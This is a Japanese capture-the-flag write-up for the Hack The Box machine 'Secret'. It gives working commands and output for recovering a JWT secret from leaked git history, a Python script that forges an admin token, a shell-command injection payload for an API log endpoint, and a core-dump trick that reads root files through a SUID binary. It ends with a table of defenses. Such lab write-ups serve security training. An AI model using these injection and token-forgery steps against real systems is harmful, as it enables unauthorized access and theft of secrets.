Hack The BoxのWriteup(Secret)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Secret — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http, 3000/http(Node.js)
→
/download/files.zip
.gitディレクトリ付きソース漏洩
→
git show で過去コミット復元
TOKEN_SECRET平文
→
HS256 JWT偽造
name=theadmin
→
/api/logs コマンドインジェクション
exec()のfile引数
→
dasith権限RCE → user.txt ✓
→
/opt/count (SUID)
dumpable+SIGSEGVでコアダンプ
→
apport-unpack + strings
コアダンプからroot.txt抽出
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.90.65
nmap -sV -sC -p 22,80,3000 10.129.90.65
RESULT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs
ℹ️
ポート80(nginx)とポート3000(Node.js/Express)の両方で同じ 「DUMB Docs」というタイトルのAPIドキュメントサイトが稼働している。 nginxはおそらくポート3000へのリバースプロキシとして機能している。
PHASE 2

ソースコード漏洩 & git履歴からのJWTシークレット窃取

ダウンロード可能なソースアーカイブの発見

BASH
curl -sO http://10.129.90.65/download/files.zip
unzip files.zip -d source/
ls -la source/
RESULT
Archive:  files.zip
   creating: source/.git/
   ...
  inflating: source/app.js
  inflating: source/package.json
🚨
重要発見: アプリのバックアップZIPに .gitディレクトリ全体がそのまま含まれている。 つまり現在のソースだけでなく、過去のコミット履歴(削除済みの 機密ファイルを含む)も丸ごと復元できる。

git履歴からTOKEN_SECRETを復元

BASH
cd source
git log --oneline
RESULT
80bf34c fixed typos 🎉
0c75212 now we can view logs from server 😃
ab3e953 Added the codes
...
67d8da7 removed .env for security reasons
🚨
重要発見: コミットメッセージ自体が 「セキュリティのため.envを削除しました」と白状している—— つまりこのコミットの直前の差分を見れば削除前の .envファイルの内容(=機密情報)がそのまま見える。
BASH
git show 67d8da7
RESULT (本検証の実際の出力より)
-TOKEN_SECRET=gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
✅
機密シークレット窃取成功! JWTの署名検証に使われる TOKEN_SECRET(非常に長いランダム文字列)を取得した。
PHASE 3

JWT偽造 & /api/logs コマンドインジェクション — user.txt取得

管理者権限を持つJWTを偽造

PYTHON (本検証で実際に使用したJWT偽造スクリプト)
import hmac, hashlib, base64, json

def b64url(obj):
    raw = json.dumps(obj, separators=(',', ':')).encode()
    return base64.urlsafe_b64encode(raw).rstrip(b'=').decode()

secret = "gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE"
header  = {"alg": "HS256", "typ": "JWT"}
payload = {"_id": "deadbeefdeadbeef12345678", "name": "theadmin", "email": "pwn@htb.htb"}

h = b64url(header)
p = b64url(payload)
msg = f"{h}.{p}"
sig = hmac.new(secret.encode(), msg.encode(), hashlib.sha256).digest()
s = base64.urlsafe_b64encode(sig).rstrip(b'=').decode()
jwt = f"{msg}.{s}"
print(jwt)
ℹ️
アルゴリズムはHS256(対称鍵HMAC-SHA256)。盗んだ TOKEN_SECRETを鍵として自前でヘッダー・ペイロードに 署名すれば、サーバー側の検証をそのまま通過する有効なJWTを 誰でも生成できる。

/api/logs のコマンドインジェクション脆弱性

NOTE
認証済みユーザー向けの/api/logsエンドポイントは、サーバーログを
表示するためおおよそ以下のようなコードで実装されている:

  exec('git log --oneline ' + file)

fileパラメータの値がサニタイズされずそのままシェルコマンドへ
連結されるため、file=";<任意コマンド>" とすればセミコロンで
コマンドを区切り任意のコマンドを追加実行できる。
BASH (本検証で実際に使用、auth-tokenヘッダーに偽造JWTを指定)
curl -s -G --data-urlencode "file=;cat /home/dasith/user.txt" \
  http://10.129.90.65/api/logs \
  -H "auth-token: <偽造JWT>"
RESULT (本検証の実際のレスポンス、JSON文字列値として返る)
"80bf34c fixed typos 🎉\n0c75212 now we can view logs from server 😃\nab3e953 Added the codes\nde9cba540d0a98c29f8853648ccee2d4\n"
✅
RCE成功! レスポンスの先頭3行は通常の git log --onelineの結果(コミットログ)、最後の行が 注入したコマンド(cat user.txt)の出力。
⚠️
実装上の注意: レスポンスはJSON文字列値 としてそのまま返ってくる(ダブルクォートで囲まれ、改行は 本物の改行コードではなくリテラルな\nエスケープ (バックスラッシュ+n の2文字))。生のレスポンス文字列を そのままフラグ抽出の正規表現に渡すと、このリテラル\nの “n”文字がフラグ文字列の直前に隣接してしまい、単語境界 (\b)判定が崩れて抽出に失敗する。必ず json.loads()等でJSONデコードしてから(リテラル \nを本物の改行コードへ変換してから)扱うこと。
user.txt — dasith
de9cba540d0a98c29f8853648ccee2d4
PHASE 4

SUIDバイナリのコアダンプ悪用 — root.txt取得

/opt/count SUIDバイナリの発見

BASH (コマンドインジェクション経由で実行)
ls -la /opt/
RESULT (本検証の実際の出力より抜粋)
-rw-r--r--  1 root root  3736 Oct  7  2021 code.c
-rwsr-xr-x  1 root root  ...   count
🚨
重要発見: /opt/countはSUIDビット付き (root所有)のバイナリ。ソースcode.cも同じディレクトリに 公開されているため、動作を事前に把握できる。鍵となるのは、この プログラムが起動時にprctl(PR_SET_DUMPABLE, 1)を 呼び出しSUIDプロセスであってもコアダンプを許可する 設定をしている点。通常SUIDバイナリはセキュリティ上コアダンプが 無効化されるが、このプログラムは明示的に有効化し直している。

クラッシュさせてコアダンプを生成

NOTE
/opt/countはおそらくファイルパスを標準入力で受け取り内容を処理する
プログラム。入力待ち状態のままシグナルSIGSEGV(セグメンテーション違反)
で強制終了させると、root権限で実行中のメモリ内容がそのままコアダンプ
ファイルとして/var/crash/配下に書き出される(Ubuntu標準のapportクラッシュ
報告機構による)。メモリ内には直前にcatしたような機密ファイル内容が
残っている可能性が高い——これを狙う。
BASH (コマンドインジェクション経由で実行、/root/root.txtを入力として渡しつつクラッシュさせる)
(printf '/root/root.txt\n'; sleep 10) | /opt/count &
PID=$!
sleep 2
kill -11 $PID
RESULT
CRASH_OK

apport-unpackでコアダンプを展開しフラグを抽出

BASH (コマンドインジェクション経由で実行)
apport-unpack /var/crash/_opt_count.*.crash /tmp/cx/
strings /tmp/cx/CoreDump | grep -oE '[0-9a-f]{32}'
RESULT (本検証の実際の出力)
f661885b3ebef52a0d1ef2ddcb119e45
✅
root化不要でroot.txt直接取得成功! コアダンプ ファイルの中にroot権限プロセスがメモリ上で保持していた root.txtの内容がそのまま残っており、 strings+正規表現で32桁hexフラグを直接抜き出せた。 SSH秘密鍵の抽出も同様の手法で可能(同じコアダンプに /root/.ssh/id_rsaを読ませれば鍵の内容が残る)だが、 フラグ取得自体はコアダンプから直接読む方が確実で速い。
root.txt — /opt/count SUIDコアダンプから直接抽出
f661885b3ebef52a0d1ef2ddcb119e45
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — dasith
de9cba540d0a98c29f8853648ccee2d4
root.txt — /opt/count SUIDコアダンプから直接抽出
f661885b3ebef52a0d1ef2ddcb119e45

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
.gitディレクトリを含むソース漏洩 /download/files.zip 過去コミット履歴(削除済み機密ファイル含む)の取得 High zipをダウンロードしgit showで削除前の.envコミットを復元
JWT偽造 (ハードコードされたTOKEN_SECRET漏洩) HS256 JWT署名検証 認証バイパス(管理者権限) Critical 漏洩したシークレットで自前署名の有効なJWTを生成
OSコマンドインジェクション /api/logs (fileパラメータ、exec()連結) リモートコード実行 (dasithユーザー) Critical セミコロンでシェルコマンドを連結し任意コマンド実行
SUIDバイナリのコアダンプ有効化 /opt/count (prctl PR_SET_DUMPABLE) 権限昇格相当(root権限メモリの直接読取) High SIGSEGVでクラッシュさせコアダンプを生成し、メモリ上に残るroot権限データをstringsで抽出

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap22/ssh, 80/443/http, 3000/http (DUMB Docs)
2資格情報窃取.gitソース漏洩 + git showTOKEN_SECRET
3認証バイパス+RCEJWT偽造 + /api/logs コマンドインジェクションuser.txt (dasith)
4権限昇格相当SUID /opt/count コアダンプ悪用root.txt

学んだ教訓 & 防御策

問題点防御策
配布用ZIPに.gitディレクトリ(過去の全コミット履歴)が誤って含まれている デプロイ・配布パッケージ作成時に.git等のVCSメタデータを必ず除外する。.gitignoreやビルドスクリプトでのチェックを徹底する。
JWT署名用シークレットがソースコード・gitコミット履歴に平文でハードコードされている シークレットは環境変数やシークレット管理サービスで管理し、コードベースやgit履歴に一切含めない。既に漏洩した鍵は即座にローテーションする。
ユーザー入力を検証せずシェルコマンドへ直接連結している exec()/system()は極力使わず、必要な場合は引数を配列渡し(シェル経由しない)にするか厳密なホワイトリスト検証を行う。
SUIDバイナリが明示的にコアダンプを有効化しており、クラッシュ時に機密メモリ内容が漏洩する SUIDバイナリではコアダンプを有効化しない(デフォルトの無効化設定を維持する)。機密データを扱うプログラムは処理後に確実にメモリをゼロクリアする。
HackTheBox: Secret | 完全攻略レポート